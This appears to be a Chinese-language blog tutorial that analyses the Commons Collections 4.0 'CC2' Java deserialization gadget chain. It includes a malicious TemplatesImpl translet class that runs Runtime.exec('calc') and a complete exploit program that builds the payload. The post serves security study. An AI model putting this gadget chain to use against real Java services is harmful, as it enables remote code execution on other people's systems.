看到commons-collections-4.0以上版本,直接想cc2这个链子
漏洞环境
jdk1.8
commons-collections-4.0
javassist(在靶机环境中不需要有javassist,只是我们生成恶意payload的过程中需要javassist动态类编程)
1 2 3 4 5
| <dependency> <groupId>javassist</groupId> <artifactId>javassist</artifactId> <version>3.12.1.GA</version> </dependency>
|
为什么不能用commons-collections-3.1-3.2
在3.1-3.2.1版本中TransformingComparator
并没有去实现Serializable
接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。
并且也采取了一下新的利用类PriorityQueue 和 TransformingComparator。通过 PriorityQueue 做为入口点,TransformingComparator 作为跳板去触发利用链。
调用链
其中一些细节没有加上,比如PriorityQueue类内部的一些方法调用
1 2 3 4 5 6 7 8 9
| Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() TemplatesImpl.newTransformer Method.invoke() Runtime.exec()
|
前置知识
javassist动态编程
Javassist动态编程 | Sk1y’s Blog (sk1y233.github.io)
cc2分析
被调用类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package Rome; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class calc1 extends AbstractTranslet {
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) { System.out.println(1); } public calc1() throws Exception{ super(); Runtime.getRuntime().exec("calc"); } }
|
这条链的最终执行命令的地方是TemplatesImpl执行字节码,TemplatesImpl类内的链子
1 2 3 4
| TemplatesImpl-->newTransformer() TemplatesImpl-->getTransletInstance() TemplatesImpl-->defineTransletClasses() TemplatesImpl-->defineClass()
|
然后看谁调用了newTransformer()
对应的代码,获取恶意类字节码,并且赋值给_bytecodes
,同时需要给_name
赋值任意字符串,满足过程中的判断条件
1 2 3 4 5 6 7 8 9 10 11 12
| ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("Rome.calc1");
byte[] bytes = ctClass.toBytecode();
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{}); Object TemplatesImpl_instance = constructor.newInstance(); setFieldValue(TemplatesImpl_instance,"_bytecodes",new byte[][]{bytes}); setFieldValue(TemplatesImpl_instance,"_name","sk1y");
|
根据之前分析CC1的链子,在InvokerTransformer类中有一个transform方法会根据传入的iMethodName,iParamTypes,iArgs这三个成员属性来执行class对象的某个方法,且这三个参数可控,所以可以通过InvokerTransformer.transform去调用TemplatesImpl.newTransformer
因为该newTransformer是无参方法,所以iMethodName和iParamTypes都是空的
1
| InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
|
发现InvokerTransformer类中的transform方法是通过实现Transformer接口来的,因此下一步的思路就是查找哪些类调用了Transformer接口的transform方法并且还实现了Serializable接口
对应代码
1 2
| InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
|
最后找到TransformingComparator类
该方法调用了transformer属性的transform方法,并且decorated和transformer属性是可控的
,可以通过反射进行赋值
对应代码
1
| TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
|
然后怎么调用TransformingComparator.compare(obj1,obj2)呢?其中obj1和obj2是恶意类字节码
PriorityQueue.readObject
PriorityQueue类内部的调用链
1 2 3 4 5
| PriorityQueue.readObject -->PriorityQueue.heapify -->PriorityQueue.siftDown -->PriorityQueue.siftDownUsingComparator -->PriorityQueue.comparator.compare()
|
这里就要借助jdk中的PriorityQueue集合了,PriorityQueue是一个优先队列,每次排序都会触发comparator比较器的compare方法,并且PriorityQueue还重写了readObject方法
我们分析一下PriorityQueue的readObject方法
readObject方法将数据还原为java对象,存放于queue数组,接着调用heapify()
跟进heapify,将queue作为参数调用siftDown()函数
跟进siftDown,判断属性comparator是否存在,存在则调用siftDownUsingComparator方法,不存在则调用siftDownComparable方法
其中siftDownUsingComparator方法经过一点判断之后,会调用comparator.compare方法
而siftDownComparable方法会生成一个Comparable比较器并调用compareTo方法
在siftDownUsingComparator方法中,我们可以通过反射控制属性comparator为TransformingComparator类对象,接着调用compare函数,那么就需要使用反射将queue属性
赋值为TemplatesImpl对象数组
对应的代码
1 2 3 4 5 6
| PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(1); priorityQueue.add(1); setFieldValue(priorityQueue,"comparator",transformingComparator); setFieldValue(priorityQueue,"queue",new Object[]{TemplatesImpl_instance , TemplatesImpl_instance});
|
调试分析
之前是逆向着去分析应该调用什么类,现在正向执行去看看调用中的一些细节
PriorityQueue类中最后调用TemplatesImpl.compare方法
到comparea方法,调用transform方法,这里的obj1和obj2是一样的,我们都将其赋值为恶意类
进入InvokerTransformer类的transform方法,发现反射调用TemplatesImpl类的newTransformer方法,没有参数,所以iArgs为null,可以发现我们代码中调用构造函数那里对应参数也是null
跟进去看看TemplatesImpl类内部的调用,newTransformer方法中调用getTransletInstance
跟进,会判断_name
是否为空,这也是之前对_name
赋值的原因,然后当_class
为空的时候,调用defineTransletClasses对_class
复制
跟进,可以发现调用了defineClass对_class
赋值
然后对_class
对应的类进行实例化,也就是我们恶意类,实例化会将静态代码块中的代码实现
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| package cc2;
import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates; import javax.xml.transform.Transformer; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
public class cc2 { public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("Rome.calc1");
byte[] bytes = ctClass.toBytecode();
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{}); Object TemplatesImpl_instance = constructor.newInstance(); setFieldValue(TemplatesImpl_instance,"_bytecodes",new byte[][]{bytes}); setFieldValue(TemplatesImpl_instance,"_name","sk1y");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null); TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(1); priorityQueue.add(1); setFieldValue(priorityQueue,"comparator",transformingComparator); setFieldValue(priorityQueue,"queue",new Object[]{TemplatesImpl_instance , TemplatesImpl_instance});
unserialize("ser.bin");
} public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void serialize(Object obj)throws IOException{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); } public static Object unserialize(String Filename ) throws IOException,ClassNotFoundException{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream((Filename))); Object obj = objectInputStream.readObject(); return obj; } }
|
运行结果
参考链接
- Java安全之Javassist动态编程 - nice_0e3 - 博客园 (cnblogs.com)
- Java安全之Commons Collections2分析 - nice_0e3 - 博客园 (cnblogs.com)
- 8-java安全——java反序列化CC2链分析_songly_的博客-CSDN博客
- Java–cc2链反序列化漏洞&超级清晰详细 - Erichas - 博客园 (cnblogs.com)